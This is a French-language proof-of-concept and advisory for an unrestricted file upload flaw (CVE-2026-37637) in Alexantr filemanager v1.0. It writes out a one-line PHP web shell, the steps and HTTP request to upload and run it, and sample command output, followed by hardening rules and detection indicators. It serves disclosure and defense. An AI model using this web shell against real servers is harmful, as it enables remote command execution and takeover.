
Exécution de code à distance dans Alexantr filemanager v1.0 via téléversement de fichier sans restriction
Preuve de concept pour CVE-2026-37637 - Exécution de code à distance dans Alexantr filemanager v1.0 via un téléversement de fichier sans restriction dans filemanager.php.
CVE-2026-37637 est une vulnérabilité d'exécution de code à distance affectant Alexantr filemanager v1.0.
La vulnérabilité existe dans le composant filemanager.php en raison d'une validation insuffisante des fichiers téléversés. Un attaquant distant peut téléverser un fichier PHP malveillant dans un répertoire accessible via le web et exécuter des commandes arbitraires sur le serveur.
Statut CVE : Soumis à MITRE
Chercheur : CYBER-SEC Dépôt du fournisseur : https://github.com/alexantr/filemanager
| Élément | Description |
|---|
| Identifiant CVE | CVE-2026-37637 |
| Type de vulnérabilité | Exécution de code à distance |
| Produit concerné | Alexantr filemanager |
| Version concernée | v1.0 |
| Composant vulnérable | filemanager.php |
| Vecteur d'attaque | À distance |
| Authentification requise | Dépend du déploiement/de la configuration |
| Impact | Exécution de commandes arbitraires |
| Cause racine | Téléversement de fichier sans restriction et absence de validation des fichiers côté serveur |
Un attaquant peut téléverser un fichier PHP malveillant via la fonctionnalité de téléversement de fichiers. Étant donné que les fichiers téléversés sont stockés dans un emplacement accessible via le web et que l'exécution de PHP est autorisée, l'attaquant peut exécuter des commandes système arbitraires sur le serveur.
Une exploitation réussie peut permettre à un attaquant de :
L'application permet aux utilisateurs de téléverser des fichiers arbitraires sans valider correctement l'extension du fichier, le type MIME ou le contenu du fichier.
Un fichier PHP malveillant tel que le suivant peut être téléversé :
<?php system($_GET['cmd']); ?>
Une fois téléversé dans un répertoire accessible via le web, l'attaquant peut exécuter des commandes en accédant au fichier via le navigateur et en transmettant des commandes via le paramètre cmd.
Exemple :
http://target/uploads/shell.php?cmd=id
Cela entraîne l'exécution de commandes sur le système d'exploitation sous-jacent.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
Ouvrez l'application dans un navigateur :
http://localhost:8000/filemanager.php
Selon le déploiement ou la configuration, l'application peut également être accessible via :
http://localhost:8000/pheditor.php
Créez un fichier nommé shell.php :
<?php system($_GET['cmd']); ?>
Téléversez le fichier à l'aide de la fonctionnalité de téléversement de l'application.
Après avoir téléversé le fichier, accédez-y directement depuis le navigateur :
http://localhost:8000/uploads/shell.php?cmd=id
Si l'exploitation réussit, le serveur exécutera la commande et renverra la sortie.
Exemple de sortie :
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
La commande fournie via le paramètre cmd est exécutée sur le serveur.
La vulnérabilité est causée par une validation insuffisante côté serveur dans la fonctionnalité de téléversement de fichiers.
L'application ne restreint pas correctement :
Par conséquent, des fichiers PHP exécutables peuvent être téléversés et exécutés directement.
Le fournisseur et les utilisateurs doivent mettre en œuvre les protections suivantes.
Interdire le téléversement de types de fichiers exécutables tels que :
.php, .phtml, .php3, .php4, .php5, .phar
Autoriser uniquement les types de fichiers attendus, par exemple :
.jpg, .png, .gif, .txt, .pdf
Ne pas se fier uniquement à l'en-tête Content-Type fourni par le client.
La validation des fichiers doit être effectuée côté serveur.
Les fichiers téléversés ne doivent pas être directement exécutables ni accessibles publiquement.
Pour Apache, cela peut être fait avec .htaccess :
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Pour Nginx, empêcher le traitement de PHP dans les chemins de téléversement :
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Utiliser des noms de fichiers aléatoires générés par le serveur et supprimer les extensions contrôlées par l'utilisateur.
Restreindre la fonctionnalité de téléversement aux seuls utilisateurs de confiance.
Les administrateurs peuvent rechercher des fichiers PHP suspects téléversés dans les répertoires accessibles via le web.
Exemples d'indicateurs :
shell.php
cmd.php
upload.php
backdoor.php
fichiers .php dans les répertoires de téléversement
Les modèles de requêtes suspects peuvent inclure :
?cmd=
?exec=
?shell=
?command=
Exemple d'entrée de journal :
GET /uploads/shell.php?cmd=id HTTP/1.1
Ce dépôt est fourni à des fins éducatives et de sécurité défensive uniquement.
Les informations et la preuve de concept sont destinées à aider les développeurs, les administrateurs système et les professionnels de la sécurité à comprendre et à corriger la vulnérabilité.
N'utilisez pas ces informations pour attaquer des systèmes sans autorisation explicite. L'accès non autorisé à des systèmes informatiques est illégal.
L'auteur n'est pas responsable de toute utilisation abusive des informations fournies dans ce dépôt.